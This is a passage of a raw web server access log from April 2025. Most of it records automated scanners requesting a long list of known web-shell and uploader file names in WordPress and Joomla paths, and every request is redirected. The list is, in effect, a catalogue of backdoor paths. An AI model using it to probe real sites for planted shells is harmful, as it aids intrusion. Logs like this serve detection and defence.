/indoxploit.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:41 -0400] "GET /wp-content/plugins/css-ready-sel/file.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:42 -0400] "GET /wp-content/plugins/css-ready/file.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:42 -0400] "GET /wp-content/think.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:43 -0400] "GET /wp-content/plugins/html404/xccc.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:43 -0400] "GET /wp-content/plugins/html404/cry.php.pjpeg HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:44 -0400] "GET //wp-content/plugins/real/v.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:44 -0400] "GET /wp-content/plugins/html404/wso25.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:44 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/udd.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:45 -0400] "GET /libraries/joomla/css.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:45 -0400] "GET /libraries/joomla/jmails.php?u HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:45 -0400] "GET /libraries/joomla/jmail.php?u HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:45 -0400] "GET /images/vuln.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:45 -0400] "GET /tmp/vuln.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:46 -0400] "GET /rxr.php?rxr HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:46 -0400] "GET /modules/modules/modules.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:46 -0400] "GET /error.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:46 -0400] "GET //wp-content/themes/fitnessbase/404.php?ok HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:47 -0400] "GET //wp-add-admin.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:47 -0400] "GET /RxR.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:47 -0400] "GET //modules/mod_simplefileuploadv1.3/elements/udd.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:48 -0400] "GET /components/com_b2jcontact/izoc.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:48 -0400] "GET /administrator/templates/bluestork/error.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:48 -0400] "GET /administrator/templates/hathor/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:48 -0400] "GET /administrator/templates/hathor/error.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:49 -0400] "GET /administrator/templates/isis/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:49 -0400] "GET /administrator/templates/isis/error.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:49 -0400] "GET /templates/beez/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:49 -0400] "GET /templates/ja_purity/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:50 -0400] "GET /templates/rhuk_milkyway/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:50 -0400] "GET /templates/+theme+/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:50 -0400] "GET /templates/+theme+/error.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:51 -0400] "GET /templates/beez3/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:51 -0400] "GET /templates/beez3/error.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:51 -0400] "GET /templates/beez5/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:52 -0400] "GET /templates/beez5/error.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:52 -0400] "GET /templates/beez_20/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:53 -0400] "GET /templates/beez_20/error.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:53 -0400] "GET /templates/protostar/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:53 -0400] "GET /templates/protostar/error.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:54 -0400] "GET /templates/atomic/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:54 -0400] "GET /templates/atomic/error.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:54 -0400] "GET /wp-admin/network/wp-footer.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:54 -0400] "GET /wp-content/vuln.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:55 -0400] "GET /upel.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:55 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:55 -0400] "GET /wp-content/uploads/+year+/+month+/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:55 -0400] "GET /license.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:55 -0400] "GET /wp-content/plugins/ppus/up.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:56 -0400] "GET /098.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:56 -0400] "GET /new_license.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:56 -0400] "GET /wp-content/plugins/theme-configurator/mini.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:57 -0400] "GET /wp-content/plugins/widget-logic/mini.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:57 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:57 -0400] "GET /1975.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:57 -0400] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:58 -0400] "GET /xleet-shell.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:58 -0400] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:58 -0400] "GET /wp-includes/radio.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:58 -0400] "GET /fx.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:59 -0400] "GET /wp-admin/images/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:59 -0400] "GET /gel4y.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:59 -0400] "GET /jindex.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:00 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:00 -0400] "GET /sh.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:00 -0400] "GET /wp-includes/991176.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:00 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:00 -0400] "GET /fox.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:01 -0400] "GET /wp-admin/x.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:01 -0400] "GET /server.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:01 -0400] "GET /wp-includes/fw.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:01 -0400] "GET /4.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:01 -0400] "GET /5.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:02 -0400] "GET /images/about.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:02 -0400] "GET /wp-load.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:02 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:03 -0400] "GET /wp-admin/fw.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:03 -0400] "GET /mari.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:03 -0400] "GET /swm.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:03 -0400] "GET /wp-admin/radio.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:04 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:04 -0400] "GET /wp-content/wso.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:04 -0400] "GET /wp-admin/wso.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:04 -0400] "GET /w3llstore.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:05 -0400] "GET /wp-content/fx.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:05 -0400] "GET /wp-content/x.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:05 -0400] "GET /wp-admin/alfa.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:05 -0400] "GET /gank.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:05 -0400] "GET /style.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:06 -0400] "GET /s_e.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:06 -0400] "GET /s_ne.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:06 -0400] "GET /beence.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:06 -0400] "GET /wp-signin.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:06 -0400] "GET /moduless.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:07 -0400] "GET /export.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:07 -0400] "GET /legion.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:07 -0400] "GET /system_log.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:08 -0400] "GET /shells.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:08 -0400] "GET /wp-includes/wp-atom.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:08 -0400] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:09 -0400] "GET /wp-content/mu-plugins/db-safe-mode.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:09 -0400] "GET /wp-content/db-cache.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:09 -0400] "GET /wp-content/plugins/backup_index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:10 -0400] "GET /wp-content/themes/config.bak.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:10 -0400] "GET /wp-includes/images/css.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:11 -0400] "GET /wp-includes/css/css.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:11 -0400] "GET /wp-content/uploads/wp-stream.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:11 -0400] "GET /wp-beckup.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:12 -0400] "GET /wp-blog-post.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:12 -0400] "GET /wp-content/uploads/wp-blockdown.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:12 -0400] "GET /wp-admin/includes/class-wp-media-list-data.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:13 -0400] "GET /wp-admin/style.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:13 -0400] "GET /6.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:13 -0400] "GET /7.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:13 -0400] "GET /8.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:14 -0400] "GET /9.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:14 -0400] "GET /10.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:14 -0400] "GET /wp_class_datalib.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:14 -0400] "GET /wp-includes/wp_class_datlib.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:15 -0400] "GET /wp-includes/pomo/wp_class_datalib.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:15 -0400] "GET /01.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:16 -0400] "GET /1xleet.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:16 -0400] "GET /wp-content/shell.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:17 -0400] "GET /wp-admin/shell.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:18 -0400] "GET /wp-admin/wp.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:19 -0400] "GET /4index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:19 -0400] "GET /5index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:20 -0400] "GET /6index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:20 -0400] "GET /7index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:20 -0400] "GET /8index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:21 -0400] "GET /9index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:21 -0400] "GET /Leaf.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:22 -0400] "GET /Uploader.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:22 -0400] "GET /wp-includes/wp-red.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:22 -0400] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:23 -0400] "GET /alfashell.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:23 -0400] "GET /am.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:23 -0400] "GET /blog/fw.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:24 -0400] "GET /contacts.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:24 -0400] "GET /demo328/fw.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:24 -0400] "GET /gif.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:25 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:25 -0400] "GET /images/sym.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:25 -0400] "GET /lab.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:26 -0400] "GET /leaf_mailer.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:26 -0400] "GET /leaf_php.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:26 -0400] "GET /libraries/joomla/jmail.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:26 -0400] "GET /libraries/joomla/jmails.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:27 -0400] "GET /mailer1.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:27 -0400] "GET /ms.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:27 -0400] "GET /rxr.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:27 -0400] "GET /srx.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:27 -0400] "GET /tuco.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:28 -0400] "GET /unix.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:28 -0400] "GET /uploads/up.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:28 -0400] "GET /wp-admin/css/colors/coffee/fw.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:29 -0400] "GET /wp-admin/css/fw.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:29 -0400] "GET /wp-admin/includes/fw.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:29 -0400] "GET /wp-admin/maint/fw.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:30 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:30 -0400] "GET /wp-content/plugins/vwcleanerplugin/bump.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:31 -0400] "GET /wp-content/plugins/xichang/x.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:31 -0400] "GET /wp-content/plugins/zedd/1.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:31 -0400] "GET /wp-content/up.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:31 -0400] "GET /wp-content/wp.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:32 -0400] "GET /wp-mna.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:32 -0400] "GET /uploads/upload.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:33 -0400] "GET /wpx.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:33 -0400] "GET /images/c99.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:33 -0400] "GET /xhell.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:33 -0400] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:34 -0400] "GET /xz.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:34 -0400] "GET /yuuki.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:34 -0400] "GET /wp-admin/shapes.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:34 -0400] "GET /wp-content/plugins/upspy/con.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:35 -0400] "GET /wp-content/plugins/upspy/up.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:35 -0400] "GET /wp-content/plugins/upspy/sllolx.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:35 -0400] "GET /database.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:35 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/css/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:36 -0400] "GET /shell20211028.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:36 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:06:36 -0400] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "-" "-" 40.70.66.203 - - [09/Apr/2025:14:20:40 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.66.203 - - [09/Apr/2025:14:20:41 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.66.203 - - [09/Apr/2025:14:20:41 -0400] "HEAD /wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.66.203 - - [09/Apr/2025:14:20:42 -0400] "HEAD /bc HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.66.203 - - [09/Apr/2025:14:20:42 -0400] "HEAD /bk HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.66.203 - - [09/Apr/2025:14:20:42 -0400] "HEAD /backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.66.203 - - [09/Apr/2025:14:20:43 -0400] "HEAD /old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.66.203 - - [09/Apr/2025:14:20:43 -0400] "HEAD /new HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.66.203 - - [09/Apr/2025:14:20:43 -0400] "HEAD /main HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.66.203 - - [09/Apr/2025:14:20:44 -0400] "HEAD /home HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 143.110.183.235 - - [09/Apr/2025:14:24:25 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 143.110.183.235 - - [09/Apr/2025:14:24:45 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 143.110.183.235 - - [09/Apr/2025:14:25:01 -0400] "GET /sites/default/files/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 143.110.183.235 - - [09/Apr/2025:14:25:24 -0400] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 143.110.183.235 - - [09/Apr/2025:14:25:41 -0400] "GET /uploads/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 143.110.183.235 - - [09/Apr/2025:14:25:55 -0400] "GET /images/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 143.110.183.235 - - [09/Apr/2025:14:26:10 -0400] "GET /files/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 18.223.108.59 - - [09/Apr/2025:15:38:03 -0400] "HEAD / HTTP/1.1" 301 0 "-" "python-requests/2.32.3" 185.117.225.46 - - [09/Apr/2025:15:48:38 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "python-requests/2.31.0" 185.117.225.46 - - [09/Apr/2025:15:48:39 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; BitSightBot/1.0)" 195.191.219.132 - - [09/Apr/2025:16:09:02 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.0; http://mj12bot.com/)" 195.191.219.132 - - [09/Apr/2025:16:09:04 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.0; http://mj12bot.com/)" 195.191.219.132 - - [09/Apr/2025:16:09:12 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.0; http://mj12bot.com/)" 195.191.219.132 - - [09/Apr/2025:16:09:14 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.0; http://mj12bot.com/)" 13.90.159.17 - - [09/Apr/2025:17:36:26 -0400] "GET /sts.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:26 -0400] "GET /wp-hoard.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:27 -0400] "GET /wp-l0gin.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:27 -0400] "GET /priv8.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:27 -0400] "GET /wp-post-editor.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:28 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:28 -0400] "GET /users.php 